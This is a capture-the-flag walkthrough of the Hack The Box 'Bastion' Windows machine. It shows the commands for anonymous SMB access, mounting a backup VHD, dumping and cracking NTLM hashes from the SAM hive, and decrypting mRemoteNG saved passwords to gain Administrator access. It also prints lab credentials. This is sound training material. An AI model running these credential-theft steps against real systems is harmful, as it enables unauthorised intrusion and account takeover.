Bastion Walkthrough

Machine: Bastion#

Date: 18-03-2026 Platform: HTB Status: [Rooted]


πŸ” Recon#

Nmap:#

nmap -sC -sV -oN scans/nmap.txt $MACHINE_IP

Results:

  • Port 22 β†’ SSH (OpenSSH for Windows 7.9)
  • Port 135 β†’ MSRPC
  • Port 139 β†’ NetBIOS
  • Port 445 β†’ SMB (Windows Server 2016 Standard 14393)
  • Port 5985 β†’ WinRM (Microsoft HTTPAPI 2.0)

Notes:

  • Standalone Windows Server 2016 β€” WORKGROUP, not domain-joined
  • SMB guest account enabled, signing disabled
  • WinRM available β€” potential entry point with valid credentials
  • SSH on Windows β€” unusual, used for final access

πŸ“‚ Enumeration#

SMB null session:#

smbclient -L //$MACHINE_IP -N
  • Non-standard share found: Backups β€” accessible anonymously
smbclient //$MACHINE_IP/Backups -N
smb: \> recurse ON
smb: \> ls
  • Found note.txt β†’ warns not to download VHD locally (too large)
  • Found WindowsImageBackup\L4mpje-PC\Backup 2019-02-22 124351\
  • Two VHD files:
    • 9b9cfbc3...vhd β†’ 37 MB (boot)
    • 9b9cfbc4...vhd β†’ 5.4 GB (main disk) ← target

Mounting VHD directly over SMB (no download needed):#

sudo mkdir /mnt/bastion
sudo mount -t cifs //$MACHINE_IP/Backups /mnt/bastion -o guest
sudo mkdir /mnt/vhd
sudo guestmount --add "/mnt/bastion/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351/9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd" --inspector --ro /mnt/vhd
  • Accessed C:\Windows\System32\config\ β†’ SAM + SYSTEM hives available

πŸ’₯ Exploitation#

Extract NTLM hashes from SAM/SYSTEM:#

cp /mnt/vhd/Windows/System32/config/SAM /tmp/SAM
cp /mnt/vhd/Windows/System32/config/SYSTEM /tmp/SYSTEM
secretsdump.py -sam /tmp/SAM -system /tmp/SYSTEM LOCAL

Hashes obtained:

  • Administrator β†’ 31d6cfe0d16ae931b73c59d7e0c089c0 (empty password β€” disabled)
  • Guest β†’ 31d6cfe0d16ae931b73c59d7e0c089c0 (empty password β€” disabled)
  • L4mpje β†’ 26112010952d963c8dc4217daec986d9 ← crackable

Hash cracking (NTLM, mode 1000):#

john hash.txt --format=NT --wordlist=/usr/share/wordlists/rockyou.txt

β†’ L4mpje:bureaulampje

SSH access:#

ssh L4mpje@$MACHINE_IP

β†’ Shell as L4mpje βœ…

Result: user.txt obtained


⚑ Privilege Escalation#

Enumeration:

  • Non-standard software found: C:\Program Files (x86)\mRemoteNG
  • mRemoteNG stores saved credentials in %APPDATA%\mRemoteNG\confCons.xml
# On the victim machine as L4mpje
type %APPDATA%\mRemoteNG\confCons.xml
  • File contains two saved RDP connections with encrypted passwords:
    • Node “DC” β†’ Username="Administrator" + Password="aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw=="
    • Node “L4mpje-PC” β†’ Username="L4mpje" + encrypted password
    • File-level Protected= field contains the master password hash β†’ decrypts to ThisIsNotProtected (not needed for node passwords)

Decrypting mRemoteNG passwords:

# Clone decryptor on attacker machine
git clone https://github.com/S1lkys/CVE-2023-30367-mRemoteNG-password-dumper
cd CVE-2023-30367-mRemoteNG-password-dumper
pip install tqdm --break-system-packages

# Decrypt Administrator password (uses default hardcoded key, no master password needed)
python3 mremoteng_decrypt.py -s "aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw=="

β†’ Administrator:thXLHM96BeKL0ER2

SSH as Administrator:#

ssh Administrator@$MACHINE_IP

β†’ Shell as Administrator βœ…

Successful escalation: Administrator


🎯 Loot / Flags#

  • user.txt: [FLAG REDACTED]
  • root.txt: [FLAG REDACTED]

πŸ“ Lessons Learned#

  • Non-standard SMB shares always deserve attention β€” “Backups” gave full disk access
  • Never download large VHD files β€” mount them directly over SMB with guestmount
  • SAM + SYSTEM hives from a mounted Windows disk = offline NTLM hash extraction
  • NTLM hash 31d6cfe0d16ae931b73c59d7e0c089c0 = empty password (disabled/blank account)
  • mRemoteNG saves RDP credentials encrypted in confCons.xml β€” always check it
  • mRemoteNG default encryption uses a hardcoded key (mR3m) β€” no master password needed to decrypt
  • WinRM (5985) + valid credentials = evil-winrm access (alternative to SSH)
  • Always enumerate installed third-party software β€” C:\Program Files (x86) is the first place to look

#Windows #HTB #Enumeration #SMB #NullSession #FileShare #VHD #DiskMount #GuestMount #CredentialExtraction #SAM #SYSTEM #Secretsdump #HashExtraction #NTLM #HashCracking #John #PasswordReuse #SSH #mRemoteNG #CredentialDecryption #CVE #CVE-2023-30367 #PrivilegeEscalation #PostExploitation


Adapted from MountainFlayer/htb-writeups under MIT.

Find us elsewhere

Merch, stickers, and moreSupport the work at the Solvere Labs shop